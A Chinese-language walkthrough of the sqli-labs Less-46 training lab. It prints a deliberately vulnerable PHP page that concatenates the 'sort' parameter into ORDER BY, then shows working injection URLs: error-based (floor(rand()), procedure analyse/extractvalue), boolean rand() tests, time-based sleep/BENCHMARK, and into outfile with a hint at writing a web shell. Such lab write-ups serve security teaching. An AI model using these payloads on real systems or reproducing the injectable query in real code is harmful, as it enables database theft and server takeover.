sqli-Labs————less-46(order by 之後的注入)
前言
從這一關開始將會介紹一下order by相關的注入內容。
Less-46
原始碼:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>ORDER BY-Error-Numeric</title>
</head>
<body bgcolor="#000000">
<div style=" margin-top:70px;color:#FFF; font-size:23px; text-align:center">Welcome <font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">
<?php
include("../sql-connections/sql-connect.php");
$id=$_GET['sort'];
if(isset($id))
{
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'SORT:'.$id."\n");
fclose($fp);
$sql = "SELECT * FROM users ORDER BY $id";
$result = mysql_query($sql);
if ($result)
{
?>
<center>
<font color= "#00FF00" size="4">
<table border=1'>
<tr>
<th> ID </th>
<th> USERNAME </th>
<th> PASSWORD </th>
</tr>
</font>
</font>
<?php
while ($row = mysql_fetch_assoc($result))
{
echo '<font color= "#00FF11" size="3">';
echo "<tr>";
echo "<td>".$row['id']."</td>";
echo "<td>".$row['username']."</td>";
echo "<td>".$row['password']."</td>";
echo "</tr>";
echo "</font>";
}
echo "</table>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
}
else
{
echo "Please input parameter as SORT with numeric value<br><br><br><br>";
echo "<br><br><br>";
echo '<img src="../images/Less-46.jpg" /><br>';
echo "Lesson Concept and code Idea by <b>D4rk</b>";
}
?>
</font> </div></br></br></br>
</center>
</body>
</html>
執行的sql語句為:
$sql = "SELECT * FROM users ORDER BY $id";
通過嘗試?sort=1 desc 或者asc。顯示的結果不同,所以可以注入!
從上述的sql語句中我們可以看出,我們的注入點在order by後面的引數中,而order by不同於我們在where後的注入點,不能使用union等進行注入。如何進行order by的注入,我們先來了解一下mysql官方select的文件。
我們利用order by後面的一些引數進行注入:
首先
(1)order by 後的數字可以作為一個注入點。也就是構造order by 後的一個語句,讓該語句執行結果為一個數,我們嘗試
http://192.168.11.136/sqli-labs/Less-46?sort=right(version(),1)
沒有報錯,right換成left都一樣,說明數字沒有起作用,我們考慮布林型別。此時我們可以用報錯注入和延時注入。
此處可以直接構造 ?sort= 後面的一個引數。此時,我們可以有三種形式,
①直接新增註入語句,?sort=(select ******)
②利用一些函式。例如rand()函式等。?sort=rand(sql語句)
Ps:此處我們可以展示一下rand(ture)和rand(false)的結果是不一樣的。
③利用and,例如?sort=1 and (加sql語句)。
同時,sql語句可以利用報錯注入和延時注入的方式,語句我們可以很靈活的構造。
報錯注入:
http://192.168.11.136/sqli-labs/Less-46?sort=(select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2)))
上述例子,可以看到root@localhost的使用者名稱
接下來我們用rand()進行演示一下,因為上面提到rand(true)和 rand(false)結果是不一樣的。
http://192.168.11.136/sqli-labs/Less-46?sort=rand(ascii(left(database(),1))=115)
http://192.168.11.136/sqli-labs/Less-46?sort=rand(ascii(left(database(),1))=116)
從上述兩個圖的結果,對比rand(ture)和rand(false)的結果,可以看出報錯注入是成功的。
延時注入
http://192.168.11.136/sqli-labs/Less-46?sort=(SELECT IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,md5('1')),null) FROM (select database() as current) as tb1)
http://192.168.11.136/sqli-labs/Less-46?sort=1 and If(ascii(substr(database(),1,1))=116,0,sleep(5))
同時也可以用?sort=1 and 後新增註入語句。這裡就不一一演示了。
利用procedure analyse引數,我們可以執行報錯注入。同時,在procedure analyse和order by之間可以存在limit引數,我們在實際應用中,往往也可能會存在limit後的注入,可以利用procedure analyse進行注入
以下為示範例
http://192.168.11.136/sqli-labs/Less-46?sort=1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)
2、匯入匯出檔案 into outfile函式
http://192.168.11.136/sqli-labs/Less-46?sort=1 into outfile 'C:\\phpstudy\\WWW\\sqli-labs\\Less-46\\test.php'
那這個時候我們可以考慮上傳網馬,利用lines terminated by。
Into outtfile c:\\wamp\\www\\sqllib\\test1.txt lines terminated by 0x(網馬進行16進位制轉換)
相關文章
- sqli-labs————Less-50(order by stacked injection)SQL
- ibatis Order By注入問題BAT
- 再看ibatis Order By注入問題BAT
- sqli-labs ————Stacked 注入攻擊介紹SQL
- SQL隱碼攻擊 - 手工注入sqli-labsSQL
- MySQL之order byMySql
- MySQL 之 ORDER BY FIELDMySql
- 基於sqli-labs Less-1的sql聯合注入詳解SQL
- sql注入之union注入SQL
- 程式注入之DLL注入
- 基於sqli-labs Less-5 sql報錯注入詳解SQL
- 基於sqli-labs Less-7 的sql高權讀寫注入詳解SQL
- Java 中實現集合的 keep in order (後續)Java
- Sqli-labs之Less1-10SQL
- sql注入之堆疊注入及waf繞過注入SQL
- 【MySQL】效能優化之 order by (一)MySql優化
- Oracle分頁查詢之order byOracle
- sql注入之型別及提交注入SQL型別
- Java之JNDI注入Java
- android注入之ButterKnife的使用Android
- IOC注入技術之編譯時注入編譯
- 程式注入後門工具Cymothoa
- sqli-labs————寬位元組注入(可以用於繞過濾了單引號或者\的WAF)SQL
- sqli-labs靶場實現(十)【二次注入(二階注入)】(less-24、具體步驟+圖文詳解)SQL
- Java安全之JNDI注入Java
- Autofac 整合測試 在 ConfigureContainer 之後進行 Mock 注入AIMock
- 二叉樹的後序遍歷post order演算法二叉樹演算法
- 技術分享 | DLL注入之遠執行緒注入執行緒
- sqli-labsSQL
- Spring核心系列之Bean的注入SpringBean
- eslint-plugin-import 規則之 Import / OrderEsLintPluginImport
- iOS逆向之 程式碼注入iOS
- php注入之完全版PHP
- SQL Server 之 SQL 注入篇SQLServer
- Sql注入之WAF繞過SQL
- Solon Ioc 的魔法之註解注入器(也可叫虛空注入器)
- 恢復 SQL 被注入後的資料程式碼SQL
- Oracle的order by case whenOracle